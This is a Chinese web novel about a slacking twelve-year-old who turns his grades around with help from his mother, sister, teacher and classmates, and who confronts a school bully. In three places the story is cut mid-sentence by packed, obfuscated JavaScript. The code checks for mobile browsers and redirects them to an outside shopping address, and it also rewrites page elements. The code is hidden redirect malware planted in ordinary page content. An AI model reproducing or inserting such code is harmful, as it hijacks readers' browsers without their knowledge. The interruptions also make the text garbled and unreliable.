《平凡的故事呀》 1. 开学第一天 九月的阳光还带着夏天的尾巴,明晃晃地照在县城的街道上。 李小四背着新书包,站在县一中的大门口,仰头看着那块挂了三十多年的校牌,忽然觉得有点紧张。 “小四,发什么呆呢?快进去!” 妈妈推了他一把,手里还拎着刚在路边买的煎饼果子,塑料袋里冒着热气。李小四接过煎饼果子,咬了一大口,含混不清地“嗯”了一声。 “到了学校要听老师的话,别跟同学打架,上课别走神……”妈妈絮絮叨叨地说着,从兜里掏出二十块钱塞进他手里,“中午自己买饭吃,我先走了,还要上班。” 李小四看着妈妈骑上电动车远去的背影,把剩下的煎饼果子三口两口塞进嘴里,抹了抹嘴,深吸一口气,大步走进了校门。 县一中是县城最好的中学,能考进来的都是各个小学的尖子生。当然,李小四除外。 他能进来纯属运气——今年招生政策变了,按片区划分,他家刚好在学区内。按他的真实水平,别说县一中,能考上普通初中都算超常发挥。 这事儿说来话长。李小四小学六年,成绩就像过山车,忽上忽下。聪明是真聪明,数学老师说过他脑子转得快,就是不肯用功。作业能拖就拖,考试能混就混,每次家长会,班主任都要跟他妈说同一句话:“这孩子要是肯努力,前十名没问题。” 他妈妈回去把这话转述给他,李小四就嬉皮笑脸地说:“那说明我还有很大进步空间嘛。” 然后继续打游戏。 但今天不一样了。走进县一中的校门,看着操场上那些比他高半个头的陌生面孔,李小四忽然意识到一件事:从今天起,他不再是小学里那个“聪明但贪玩”的李小四了。在这里,没人认识他,没人知道他以前什么样。 这是一个全新的开始。 这个念头让他兴奋了一秒钟,然后立刻被另一个念头击碎——摸底考试。 按照学校的传统,初一新生入学第一周就要进行摸底考试,用来分班。李小四暑假玩了两个月的游戏,连书都没摸过,一想到考试,手里的煎饼果子都不香了。 他一边胡思乱想一边找自己的临时班级。公告栏前挤满了人,他仗着个子小,从人缝里钻了进去,在三张红纸上一一扫过,终于找到了自己的名字:李小四,临时初一(7)班。 “七班……七班……”他念叨着,转身就往外挤,不小心踩了旁边一个人的脚。 “对不起对不起——”他赶紧道歉。 被踩的是一个高个子男生,比李小四高出将近一个头,皮肤黝黑,肩膀宽得像个小大人。那男生低头看了他一眼,咧嘴笑了:“没事儿,你也七班的?” 李小四点点头。 “我也是,”高个子男生指了指公告栏上自己的名字,“我叫王大壮。咱俩一起找教室呗?” 李小四看了看王大壮,又看了看自己。同样是十二岁,人家跟个铁塔似的,自己像个豆芽菜。他默默在心里给这位新同学起了个外号:大壮。 “我叫李小四。”他说。 “走,小四!”王大壮大手一挥,自来熟地揽过他的肩膀,“你知道七班在哪儿不?” “我也是第一次来……” “那咱俩一起找!” 两个人在迷宫一样的教学楼里转了三圈,问了两个老师三个学长,终于在三楼的拐角处找到了初一(7)班的教室。 教室里已经坐了大半的人,叽叽喳喳的像一锅粥。李小四找了个靠窗的位置坐下,王大壮就坐在他前面,转过身来跟他聊天。 “你哪个小学毕业的?”王大壮问。 “城西小学。” “哦,我是城东的。你摸底考试复习了没?” 李小四干咳一声:“……暑假光玩了。” “我也是!”王大壮一拍大腿,脸上的表情如遇知音,“我妈给我报了补习班,我逃了半个月的课,后来被发现了,揍了我一顿。” 李小四笑了,觉得这个新朋友还挺对脾气的。 正说着,一个戴眼镜的女生走了进来,书包上挂着一个小熊挂件,安安静静地坐在了李小四旁边。她看了李小四一眼,微微点了点头,算是打了招呼,然后就开始翻书。 李小四瞟了一眼她手里的书——初一的英语课本,上面密密麻麻写满了笔记。他又瞟了一眼她的书包,名牌,崭新的,连吊牌好像都还没摘。 “真用功啊。”李小四心想。 他又看了看自己空空如也的桌面,忽然觉得有点心虚。 上课铃响了。 一个穿着白衬衫的中年男人走进教室,头发梳得一丝不苟,表情严肃得像要去参加葬礼。他把手里的文件夹往讲台上一放,目光扫过全班,教室里瞬间安静了。 “同学们好,我姓马,是你们临时班主任。”他的声音不大,但每个字都清清楚楚,“在正式分班之前,这一周由我带你们。我知道你们都是从各个小学考进来的优秀学生——” 李小四听到“优秀学生”四个字,默默低下了头。 “但是,”马老师话锋一转,“小学的成绩代表过去,初中是一个全新的起点。这一周,我会观察每一个同学的表现,这些表现会影响到你们的分班结果。所以,我希望能看到你们最好的一面。” 说完,他从文件夹里抽出一沓试卷,分给第一排的同学往后传。 “现在,摸底考试开始。” 教室里响起一片哀嚎。 李小四拿到试卷,翻过来看了一眼,脑袋“嗡”的一声。 数学第一道题他就不会。 他硬着头皮往下做,选择题连蒙带猜,填空题写一个空一个,应用题看了三遍都没看懂题目在说什么。他偷偷看了看旁边的戴眼镜女生,人家已经写到第三页了,字迹工整得像印刷体。 李小四叹了口气,继续跟试卷搏斗。 两小时的考试,他熬了一个小时就写不下去了,但又不敢交卷,只好趴在桌子上假装检查。前面的王大壮也差不多,抓耳挠腮的,转过来看了他好几次,眼神里写满了“你会不会?给我看看”。 李小四摇了摇头,表示自己泥菩萨过江自身难保。 王大壮绝望地转回去了。 考试结束后,教室里炸开了锅。 “最后一道大题答案是多少?”有人问。 “我算的是17。” “不对,是21,我验算过了。” 李小四默默听着,一个字都插不上嘴。他连题目都没看懂。 旁边的戴眼镜女生收拾好东西,忽然看了他一眼,轻声说了一句:“其实第三题用小学的分数运算就能做出来,不用想太复杂。” 李小四愣了一下,没想到她会主动跟自己说话。 “啊……谢谢。”他说,“你叫什么名字?” “林小美。”她说,然后背着书包走了。 下午的语文和英语考试,李小四也没好到哪儿去。语文作文要求写《我的新学期》,他憋了半小时凑了三百个字,自己都觉得前言不搭后语。英语就更别提了,26个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我看你走的方向不对,想着你是不是不认识路,”王大壮挠挠头,“结果就看到那几个人堵你。” 李小四心里一暖。开学第一天,他交到了第一个朋友。 两个人一起走出校门,夕阳把他们的影子拉得老长。王大壮的家在学校东边,李小四在西边,出了校门就要分开了。 “明天见!”王大壮挥了挥手。 “明天见。”李小四说。 他一个人走在回家的路上,经过小区门口的包子铺时,花一块五买了一个肉包子垫肚子。到家的时候,家里没人——妈妈还在加班,爸爸跑长途货运还没回来,姐姐在外地上大学。 他把书包往沙发上一扔,打开冰箱找了盒剩饭,给自己炒了个蛋炒饭。吃完洗了碗,又打开书包,看着那些几乎空白的笔记本和崭新的课本,发了好一会儿呆。 然后他拿出那张摸底考试的草稿纸,翻到背面,写了几个字: “新的开始,不能再混了。” 写完又觉得矫情,想把纸揉掉,犹豫了一下,还是折好塞进了笔袋里。 那天晚上,李小四破天荒地没有打游戏,而是翻开了初一的数学课本,从第一页开始看。 窗外的月亮很亮,照在他小小的书桌上。他知道,明天摸底考试的成绩就会出来,他大概率会考得很惨。 但他也忽然觉得,惨不惨的,好像也没那么可怕了。 毕竟,这才刚刚开始。 2. 考试没考好 摸底考试成绩是在第三天下午公布的。 马老师抱着一沓试卷走进教室的时候,脸色比第一天还难看。他把试卷往讲台上一放,发出一声沉闷的响动,全班四十八双眼睛齐刷刷地盯着那沓纸,空气都凝固了。 “这次摸底考试,”马老师开口了,声音不大,但每个字都像钉子一样扎进耳朵里,“全年级七个班,我们班平均分排第六。” 教室里鸦雀无声。 “数学成绩尤其差,及格的人数不到一半。”马老师推了推眼镜,目光从每个人脸上扫过,“我不说是谁拉了后腿,但有些同学,小学的基础根本没有打牢。初中的课程进度很快,如果你们还是这个状态,我劝你们趁早做好心理准备。” 他开始念名字,让每个人上去领试卷。 “林小美,98分。” 那个戴眼镜的女生安静地走上讲台,接过试卷,脸上没什么表情,好像考98分是理所当然的事。李小四瞟了一眼她的桌面,那张试卷上红勾勾一片,只有最后一道大题扣了两分。 “王大壮,52分。” 大壮灰溜溜地上去了,回来的时候把试卷往桌上一扣,趴在桌子上装死。 “李小四。” 李小四站起来的时候,腿有点发软。他走上讲台,从马老师手里接过试卷,下意识地翻过来看了一眼—— 红色的“38”分像一记耳光,打得他脸上火辣辣的。 马老师看了他一眼,那眼神里没有愤怒,甚至没有失望,而是一种更让李小四难受的东西:漠然。好像考38分这件事,在马老师的意料之中,根本不值得他多费一句嘴。 李小四攥着试卷回到座位上,把它塞进课本底下,不敢再看第二眼。 旁边的林小美似乎注意到了什么,微微侧头看了他一眼,但什么也没说。 接下来的语文和英语成绩也陆续发了。语文61分,刚好及格,作文被扣了18分,评语写着“内容空洞,语言贫乏”。英语44分,比数学强一点,但也强得有限。 三门主科加起来143分,全班倒数第三。 李小四把三张试卷叠好,塞进书包最里层,拉上拉链,好像只要看不见,这件事就不存在。 放学的时候,王大壮追上他,一脸苦相:“我数学52,英语58,语文65,加起来175,比你还强点。” “……你是在安慰我还是在气我?” “当然是安慰你啊,”王大壮揽着他的肩膀,“咱俩难兄难弟,谁也别说谁。走,我请你吃烤肠。” 学校门口的烤肠摊冒着热气,两块钱一根,刷上辣椒酱,咬一口满嘴香。李小四接过王大壮递来的烤肠,咬了一大口,心情稍微好了一点。 但他心里清楚,问题不是一根烤肠能解决的。 问题在于,他不知道该怎么跟妈妈说。 回到家的时候,妈妈已经下班了,正在厨房里炒菜。油烟机嗡嗡地响,她围着围裙,头发用夹子夹起来,背影看起来比实际年龄老了好几岁。 “回来了?洗手吃饭。”妈妈头也没回地说。 李小四“嗯”了一声,去卫生间洗了手,坐在餐桌前。菜很简单,一盘西红柿炒蛋,一碗紫菜蛋花汤,两碗米饭。 妈妈在一家超市做收银员,一个月工资两千出头,要供他和姐姐两个人,还要还房贷。爸爸跑长途货运,一个月回来一两次,每次回来都给李小四带点零食和零花钱,但大部分时间都不在家。 李小四吃着饭,心里一直在想怎么开口。试卷要家长签字,这是马老师反复强调过的,明天不交签字的试卷,就要在教室后面站一节课。 “妈,”他终于开口了,“摸底考试成绩出来了。” “哦?考得怎么样?”妈妈夹了一块鸡蛋放进他碗里。 李小四咬了咬牙:“……不太好。” “多不好?” 他没说话,放下筷子,从书包里掏出那三张试卷,摊在桌上。 妈妈放下碗,拿起数学试卷看了一眼。38分。她又看了看语文和英语,脸上的表情一点一点沉了下去。 沉默了很久。 李小四低着头,不敢看妈妈的眼睛。厨房里油烟机的嗡嗡声好像忽然变得特别大,大到让他心慌。 “李小四,”妈妈叫了他的全名,声音很平静,但那种平静比骂他还让他难受,“你暑假玩了两个月的游戏,我说过你没有?” “说过。” “我说让你复习一下初一的课,你听了没有?” “……没有。” “你现在知道结果了?” 李小四不说话了。 妈妈把试卷推回到他面前,拿起筷子继续吃饭,吃了几口忽然停下来,声音有点发抖:“你爸在外面跑车,一个月回来一两次,累得腰都直不起来。我在超市站一天,腿肿得跟萝卜似的。我们这么辛苦,图什么?” 李小四的眼眶红了。 “图你有个好前程,”妈妈的声音越来越低,“图你以后不用跟我们一样,一辈子给人打工,看人脸色。你倒好,考个38分回来。” 李小四的眼泪终于掉了下来,砸在桌子上,一滴一滴的。 他张了张嘴想说点什么,但喉咙像被什么东西堵住了,一个字都说不出来。 妈妈没有再说话,把剩下的饭吃完,收拾了碗筷去厨房洗碗。李小四坐在餐桌前,面前的三张试卷像三座大山,压得他喘不过气来。 那天晚上,他没有打游戏,也没有看电视。他把试卷拿到自己房间,翻出课本,想把错题一道道改过来。但数学第一道选择题他就不会——他连题目里的“绝对值”是什么意思都不知道。 他趴在桌上,用笔在本子上乱画,越画越烦躁。 手机震了一下,是姐姐发来的微信。 姐姐叫李芳,在省城读大二,学的是师范专业。她比李小四大六岁,从小就管着他,又当姐姐又当半个妈。 “小四,听说你们开学了?感觉怎么样?”后面跟了一个笑脸表情。 李小四盯着屏幕看了半天,不知道该回什么。 “怎么了?”姐姐又发了一条,“谁欺负你了?告诉姐,姐回去揍他。” 李小四鼻子一酸,打字过去:“姐,我摸底考试考砸了。” “多少分?” “数学38。” 那边沉默了一会儿,然后姐姐发来一段语音。李小四点开,姐姐的声音从手机里传出来,没有责怪,反而带着点笑意:“38分?你可以啊李小四,闭着眼睛蒙也不止38分吧?” 李小四苦笑了一下,也发了一段语音过去:“姐,我真的认真写了,我就是不会。” “我知道,”姐姐的声音变得认真起来,“你不是笨,你就是懒。小学的时候你就这样,能拖就拖,能混就混。但是小四,初中不一样了,你再混下去,连高中都考不上。” 李小四没说话。 “这样吧,”姐姐说,“你把你不会的题拍给我,我看看能不能帮你讲讲。” 李小四犹豫了一下,把数学试卷拍了照发过去。过了十几分钟,姐姐发来一连串语音,一条接一条,每条都将近一分钟。她把每道错题都讲了一遍,从最基础的概念开始,讲得比马老师还仔细。 “绝对值就是数轴上一个数到原点的距离,跟正负没关系。记住了没有?” “这道方程题,你第一步就错了,移项要变号,你忘了吗?” “应用题不会做没关系,先把题目里给的条件列出来,画个图就明白了。” 李小四把姐姐的语音一条一条听完,又倒回去听了一遍,拿出草稿纸,一道一道地重新做。有些地方还是不懂,他就发消息问姐姐,姐姐很快回复,有时候打字说不清楚,就发语音,有时候语音也说不清楚,她就画图拍照发过来。 姐弟俩就这样一直折腾到凌晨十二点多。 “行了,”姐姐最后发了一条语音,声音有点哑了,“今天就到这儿吧。小四,我跟你说句实话,你脑子比我好使,你就是不肯下功夫。你要是能像今天这样,每天认认真真学一个小时,别说38分,80分都不是问题。” 李小四靠在椅背上,看着天花板上那盏日光灯,灯管有点老化,一闪一闪的。 “姐,我知道了。”他打字过去。 “知道没用,得做到。睡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李小四抬起头,看着马老师。这是他第一次认真看马老师的脸,四十来岁,眼角有细纹,头发里夹着几根白发,看起来比他平时表现出来的要温和得多。 “马老师,我想改。”李小四说。 马老师看了他几秒钟,从抽屉里拿出一本薄薄的练习册,递给他:“这本是基础题,每天做十道,做完拿给我看。不要贪多,十道就够了,但每一道都要弄懂。能做到吗?” 李小四接过练习册,封面有点旧,边角都卷起来了,显然是马老师自己用过的。 “能做到。”他说。 从那天起,李小四的生活发生了微妙的变化。 每天早晨,他早起半小时做数学题。每天中午午休,别人趴在桌上睡觉或者偷偷玩手机的时候,他在看英语单词。每天晚上回家,做完作业之后,他还要把当天学的课再复习一遍。 一开始很难。那些数字和公式像长了腿一样,从他脑子里跑得干干净净。有时候一道题他看了半小时还是不会,急得抓耳挠腮,恨不得把课本撕了。 但姐姐每天晚上都会跟他视频,一道题一道题地讲。马老师也说话算话,每天收他的练习册,看完之后圈出错题,让他重做。 慢慢地,那些数字和公式开始在他脑子里扎根了。 第一次单元测验,他数学考了57分。 虽然还是不及格,但比38分整整高了19分。 王大壮看着他的成绩,眼珠子都快掉出来了:“你是不是开挂了?” 李小四笑了笑,把试卷叠好放进口袋里。 57分,离及格还差3分,离优秀还差得远。但这是他凭自己的努力挣来的,这种感觉——怎么说呢,比打赢一局游戏爽多了。 那天放学,他又在校门口遇到了黄毛。 黄毛这次没有拦他,只是远远地看了他一眼,啐了一口唾沫,然后带着人走了。 李小四攥紧了书包带子,大步流星地往前走,没有再回头。 他想,有些东西,比保护费重要得多。 3. 同桌的秘密 期中考试来得比想象中快。 当马老师在黑板上写下“距期中考试还有15天”的时候,教室里响起一片哀嚎。李小四却反常地没有跟着起哄,而是翻开数学课本,开始复习第二章的内容。 旁边的林小美看了他一眼,眼神里多了一丝意外。 这半个月来,李小四的变化,全班都看在眼里。他不再趴在桌子上睡觉了,上课开始记笔记了,甚至有一次主动举手回答了马老师的问题——虽然答错了,但马老师破天荒地没有批评他,而是说了一句“勇气可嘉”。 王大壮说他“中了邪”,李小四也不反驳。他心里清楚,自己只是不想再看到妈妈那种眼神了。 期中考试前一天晚上,姐姐打来视频电话。 “明天考试了,紧张不?”姐姐在屏幕那头啃着苹果,背景是她乱糟糟的大学宿舍。 “还行。”李小四说。 “数学能考多少?” 李小四想了想:“及格应该没问题。” 姐姐笑了:“行啊李小四,从38分到及格,这才一个多月,进步不小。你要是期末能考到70分,我寒假回来给你带礼物。” “什么礼物?” “秘密。” 挂了电话,李小四把明天要考的科目过了一遍。语文他不太担心,作文虽然写得不好,但阅读理解最近练了不少,应该能多拿几分。英语还是老大难,单词背了不少,但语法一塌糊涂。数学是最有信心的,马老师给的那本练习册他已经做完了一半,每一道错题都整理了错题本。 他把错题本翻出来又看了一遍,看到快十一点才睡觉。 期中考试安排在周四和周五两天。 数学考试的时候,李小四拿到试卷,第一件事不是急着做题,而是先从头到尾看了一遍。这个习惯是马老师教的——“先看清全局,再各个击破”。 前面的选择题他做得很快,遇到拿不准的,先圈出来跳过去。填空题比摸底考试时简单了不少,他居然有五道题都有把握。大题他一道一道地写步骤,就算最后算不出来,也把能想到的公式和步骤都写上去。 做完之后,他把试卷从头到尾检查了一遍,改了两道选择题的答案。 交卷的时候,他心里有了一种从未有过的感觉——不是把握,而是一种平静。他已经做了自己能做的,剩下的交给分数。 语文和英语也考完了。语文作文题目是《那一次,我长大了》,李小四写的是摸底考试后妈妈在饭桌上说的那番话,写着写着鼻子就酸了,最后交卷的时候,作文写了将近八百字,比要求的还多了两百字。 英语他考得一般,但比摸底考试的44分强多了。 考完最后一科,王大壮拉着他去打篮球。两个人在操场上疯跑了一个小时,累得躺在草地上喘气。 “我感觉我要进步了。”王大壮望着天说。 “我也是。” “你觉得你能考多少?” 李小四想了想:“数学可能六十多吧。” “那你还比我强,”王大壮翻了个身,“我数学能及格就不错了。” 成绩在考完后的第三天出来了。 马老师走进教室的时候,脸色比发摸底考试那次好了很多。他把成绩单往讲台上一放,难得地露出了一个微笑。 “这次期中考试,我们班的平均分年级第三,进步很大。”他说,“有些同学的进步尤其明显,我要特别表扬。” 李小四的心跳加快了。 “林小美,数学满分,英语98,语文91,年级第一。” 教室里响起掌声。林小美还是那副淡淡的表情,安静地坐着,好像这个成绩跟她没什么关系。 “王大壮,数学65,英语60,语文68,总分比摸底考试提高了将近40分。” 大壮咧嘴笑了,转过身来对李小四比了个“耶”。 “李小四。” 李小四坐直了身体。 “数学68分,英语55分,语文78分,”马老师念到这里,停顿了一下,“总分201,比摸底考试提高了58分,全班进步最大。” 教室里响起一阵窃窃私语。李小四感觉到很多目光落在他身上,有惊讶的,有怀疑的,也有为他高兴的。 “李小四,你来说说,你是怎么做到的?”马老师看着他。 李小四站起来,挠了挠头,脸有点红:“就……认真听课,做练习,不会的问老师问同学。” “那你以前为什么不这样做?” 李小四想了想,老实地说:“以前觉得学习没意思,考多少分都无所谓。后来发现,考差了其实挺难受的。” 马老师点了点头,没再追问。 但李小四心里清楚,真正让他改变的,不是那38分,而是妈妈饭桌上的眼泪和姐姐深夜的一条条语音。 期中考试后,李小四在班里的位置发生了微妙的变化。 以前同学们提起他,第一反应是“那个考38分的”。现在提起他,说的是“就是那个进步最大的”。虽然68分也不算高,但至少不再是被嘲笑的对象了。 他和林小美的关系也渐渐熟络起来。一开始只是借借橡皮、问问作业,后来林小美开始主动帮他讲解数学题。她的讲法和马老师不一样,马老师讲得细,林小美讲得快,往往三言两语就能点出关键。 “你这道题思路是对的,但第二步计算错了。”林小美指着他的作业本,用铅笔在草稿纸上重新算了一遍给他看。 李小四看着她的笔迹,工工整整的,每一行都对齐,忍不住说:“你是不是有强迫症?” 林小美白了他一眼:“这叫严谨。” 李小四笑了。他发现自己以前对这个同桌的认知可能是错的。她不是高冷,只是不太擅长跟人打交道。 有一次午休,李小四趴在桌子上假装睡觉,眯着眼看到林小美从书包里掏出一个馒头,就着白开水啃。她吃得很小心,一点声音都没有,像是在做什么见不得人的事。 李小四赶紧闭上眼睛,假装什么都没看到。 但他心里“咯噔”了一下。 他想起开学第一天看到林小美背的那个名牌书包,想起她桌上永远崭新的文具,想起她偶尔不经意间提到“我妈妈周末带我去万达”之类的话。 那些东西,忽然变得有点不对劲。 接下来的几天,李小四开始留意林小美的一些细节。 她的校服总是洗得发白,但熨得很平整。她的水杯是普通的塑料杯,外面套了一个手工织的杯套,针脚有些粗糙,像是自己织的或者家里人织的。她的笔袋里永远只有三支笔——红蓝黑各一支,用得都快没墨了还不换。 但她背的那个名牌书包,从头到尾李小四都没见她换过。书包上的吊牌,他一直以为是新的所以没摘,但观察久了才发现,那个吊牌根本就是缝死的,只是一个装饰。 而那个书包的款式,其实是两年前的旧款了。 李小四心里大概有了数,但他不知道该说什么。 直到有一天,事情被意外地揭开了。 那天下午最后一节是体育课,全班都在操场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444053|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上活动。李小四跑完八百米,累得不行,提前回了教室。他推开门的时候,看到林小美一个人坐在座位上,面前摊着一个塑料袋,里面装着一个馒头和一包榨菜。 林小美看到他,愣了一下,手忙脚乱地把塑料袋往桌斗里塞。 教室里很安静,只有窗外的风声和李小四自己的喘气声。 “我回来拿水杯。”李小四说,走到自己座位上拿起水杯,喝了一口水,然后坐下了。 他没有走。 林小美低着头,耳朵根都红了。 李小四沉默了一会儿,忽然开口说:“林小美,这道数学题我不会,你帮我看看呗?” 他从书包里掏出练习册,翻到一道题,推到林小美面前。 林小美抬起头看了他一眼,眼眶有点红,但还是接过了练习册,拿出笔开始讲:“这道题用的是二元一次方程,你先设……” 她讲到一半,声音忽然哽住了。 李小四假装没注意到,低着头看着练习册,说:“噢,我懂了,这里是不是要把两个方程相减?” 林小美吸了吸鼻子:“对。” “谢了啊。”李小四把练习册拿回来,又说,“对了,我妈今天给我带了两个苹果,我吃不下了,你帮我吃一个呗?” 他从书包里掏出两个红苹果,把一个放在林小美桌上,另一个自己咬了一大口。 林小美看着桌上的苹果,眼泪终于掉了下来。但她很快用袖子擦掉了,轻声说了句“谢谢”。 李小四大口吃着苹果,假装什么都没看到。 从那天以后,李小四开始用一种不动声色的方式帮助林小美。 “我多带了一盒牛奶,给你吧,不然放书包里太重了。” “这道题我不会,你教我——为了感谢你,这块巧克力给你。” “体育课我的跳绳忘带了,咱俩共用一根——你先跳。” 林小美一开始还会推辞,后来渐渐接受了。她是个聪明人,当然知道李小四是在帮她,但他从来没有当面揭穿过什么,也从不让场面变得尴尬。这让林小美在感到窘迫的同时,也生出了一丝感激。 她开始主动帮李小四补课。数学、英语、语文,她都能讲,讲得比老师还清楚。李小四开玩笑说她“开小灶”,她也不反驳,只是淡淡地说:“你帮了我,我帮了你,扯平了。” 有一次,李小四问她:“你为什么总背那个书包?” 林小美沉默了很久,说:“那是我妈去世前给我买的最后一个礼物。” 教室里忽然安静了。 李小四张了张嘴,想说点什么,但觉得说什么都不太对。 “对不起,”他最后说,“我不知道。” “没事,”林小美的声音很平静,但握着笔的手指关节微微发白,“你又不认识我。” 那天放学后,李小四没有直接回家,而是绕路去了学校后面的那条街。他找到了一家文具店,挑了很久,最后买了一套中性笔——红蓝黑各三支,还配了几个替芯。 第二天,他把那盒笔放在林小美桌上,说:“上次你帮我讲题,这是谢礼。” 林小美打开看了看,愣了一下,然后笑了。 那是李小四第一次看到她笑。 不是礼貌性的微笑,而是真正的、发自内心的笑。眼睛弯成两道月牙,嘴角的弧度刚刚好,整个人像是忽然亮了起来。 “谢谢。”她说。 李小四挠了挠头,也笑了。 他想,有些东西比分数重要,比面子重要,比那38分重要一万倍。 4. 打架事件 期中考试后的第二周,天气忽然就冷了。 县城的风像刀子一样,顺着领口往衣服里钻。李小四缩着脖子走进校门,呼出的白气在眼前飘散。他把校服拉链拉到最上面,两只手插在口袋里,快步往教学楼走。 操场边上围了一群人。 李小四本来不想凑热闹,但听到人群里传出一声尖利的叫骂,他的脚步就停住了。他踮起脚尖往里看,一眼就看到了那撮熟悉的黄毛。 黄毛正站在人群中间,对面是两个初一的新生,一男一女,都背着书包,脸涨得通红。男生的眼镜被摔在地上,镜片碎了一片,女生的眼眶红红的,躲在男生身后。 “我再问一遍,保护费到底交不交?”黄毛叼着棒棒糖,声音不大,但周围没人敢吭声。 “我们……我们真的没钱了,上周刚交过……”男生的声音在发抖。 “上周是上周,这周是这周。”黄毛吐掉棒棒糖的棍子,伸手去拽女生的书包带子。 就在这时候,一只手从后面抓住了黄毛的胳膊。 “你够了没有?” 李小四的声音不大,但周围忽然安静了。所有人都看着他——这个瘦小的初一新生,站在比他高半头的黄毛面前,眼睛里没有一点退让的意思。 黄毛转过头,愣了一下,然后笑了:“又是你?上次放你一马,你是不是觉得自己挺厉害?” “你欺负比你小的,算什么本事?”李小四盯着他。 “欺负?”黄毛甩开他的手,“这是规矩,懂不懂?新生交保护费,我们保护你们不被别人欺负。你要是不交,出了什么事可别怪我没提醒你。” “你这是在收保护费,”李小四一字一顿地说,“是违法的。” 周围响起几声低低的笑声。黄毛的脸色变了,上前一步,胸膛几乎顶到李小四的鼻子:“小子,你是不是欠揍?” “你动他一下试试!” 王大壮不知道什么时候从人群里挤了出来,站在李小四旁边。他比黄毛还高小半个头,肩膀宽得像一堵墙,往那一站,气势上完全不输。 黄毛看了看王大壮,又看了看李小四,嘴角一撇:“行,你们两个是吧?放学别走。”说完一挥手,带着几个跟班走了。 人群散开了。那个男生捡起摔碎的眼镜,连声道谢。李小四摆了摆手,让他们赶紧去上课。 但他心里清楚,这事没完。 果然,一整天李小四都有点心不在焉。 上课的时候,马老师讲的二元一次方程组他一个字都没听进去,脑子里反复在想放学后该怎么办。他不怕打架,但他怕给妈妈惹麻烦——上次摸底考试的事还没完全过去,要是再因为打架被处分,他不知道该怎么面对妈妈。 林小美注意到了他的反常,小声问:“你没事吧?” “没事。”李小四说。 “是因为早上那个黄毛?” 李小四没吭声。 林小美沉默了一会儿,从作业本上撕下一张纸,写了一行字推过来:“放学我和你一起走,他们不敢把女生怎么样。” 李小四看了那张纸,心里一暖,但摇了摇头,在下面写了一行字:“不用,我能搞定。你别掺和。” 林小美看了他一眼,没再说话,但那张纸条她没扔,折好了塞进了笔袋里。 最后一节课的下课铃响了。 李小四收拾书包的速度很慢,他在等。等大部分同学都走了,他再出去。他不想连累别人,也不想让更多人看到。 王大壮没走,坐在前面的位置上转过来,表情比平时严肃了很多:“小四,我叫了几个人。” “谁?” “隔壁班的老赵,还有小学同学李阳,都是能打的。”王大壮掰着手指头,“加上咱俩,五个人,够了。” 李小四皱了皱眉:“我不想把事情闹大。” “你以为你想不闹大就不闹大?”王大壮难得认真地说,“那几个人堵了我们多少次了?今天早上你也看到了,连女生都欺负。你不把他打服了,他能一直找你麻烦。” 李小四咬了咬嘴唇,最终点了点头:“行,但别动家伙,别打要害。” “放心,我有数。” 五个人在校门口汇合了。除了王大壮说的老赵和李阳,还有一个叫孙浩的,是大壮的表弟,在初二。五个人沿着学校外面那条巷子往东走,那是黄毛他们经常活动的地方。 果然,巷子拐角处,黄毛带着四个人正等着。 “哟,还叫人了?”黄毛手里拿着一根木棍,在墙上敲了敲,“五个人?勇气可嘉。” 李小四走到最前面,距离黄毛两三步远的地方停下来:“你到底想怎么样?” “很简单,”黄毛用木棍指着李小四,“你当着这么多人的面让我下不来台,这事儿不能就这么算了。你给我道个歉,再把这个月的保护费交了,以后咱们井水不犯河水。” “要是我说不呢?” 黄毛的笑容消失了,木棍朝李小四的肩膀挥了过来。 李小四侧身躲开,王大壮从旁边冲了上去,一把抓住黄毛的胳膊,两个人扭打在一起。巷子里顿时乱成一团,拳脚相向,骂声和闷哼声混在一起。 李小四挨了两拳,一拳打在肩膀上,一拳蹭着脸颊过去,火辣辣的疼。但他也还了手,朝黄毛的肚子上踹了一脚,把他踹得弯了腰。 混乱中不知道谁喊了一声:“老师来了!” 所有人像被按了暂停键一样僵住了。 两个穿着保安制服的人从巷口跑进来,手里拿着对讲机,后面还跟着一个中年女老师。黄毛第一个反应过来,撒腿就跑,木棍丢在地上“咣当”一声。他的几个跟班也跟着跑了。 李小四也想跑,但王大壮拉住了他:“跑什么跑?跑了更麻烦。” 五个人站在原地,喘着粗气,脸上多多少少都挂了彩。保安把他们带到了政教处。 政教处的张老师是个五十多岁的胖男人,脸上的表情永远像吃了苦瓜。他看了五个人一眼,叹了口气,开始挨个问话。 事情的经过问清楚之后,张老师给每个人的班主任打了电话。 马老师来的时候,天已经快黑了。 他走进政教处,先看了看李小四,脸上没什么表情。然后他跟张老师谈了很久,李小四隔着玻璃门看到马老师在说话,手比划着,表情比平时激动很多。 最后,处分下来了:李小四和王大壮记过处分,全校通报批评。老赵、李阳和孙浩因为是初二学生,且是第一次违纪,给予警告处分。黄毛那边几个人也受到了处分,黄毛本人因为多次勒索同学,被给予留校察看处分。 从政教处出来的时候,校园里已经没什么人了。路灯亮着,把两个人的影子拉得老长。 王大壮的脸上青了一块,嘴角破了皮,但精神头还挺好:“值了。那孙子以后再也不敢欺负人了。” 李小四没说话。他在想怎么跟妈妈说。 “你别怕,”王大壮看出了他的心思,“到时候我跟你妈解释,是我叫你去的。” “你解释个屁,”李小四苦笑了一下,“你妈不揍你就不错了。” 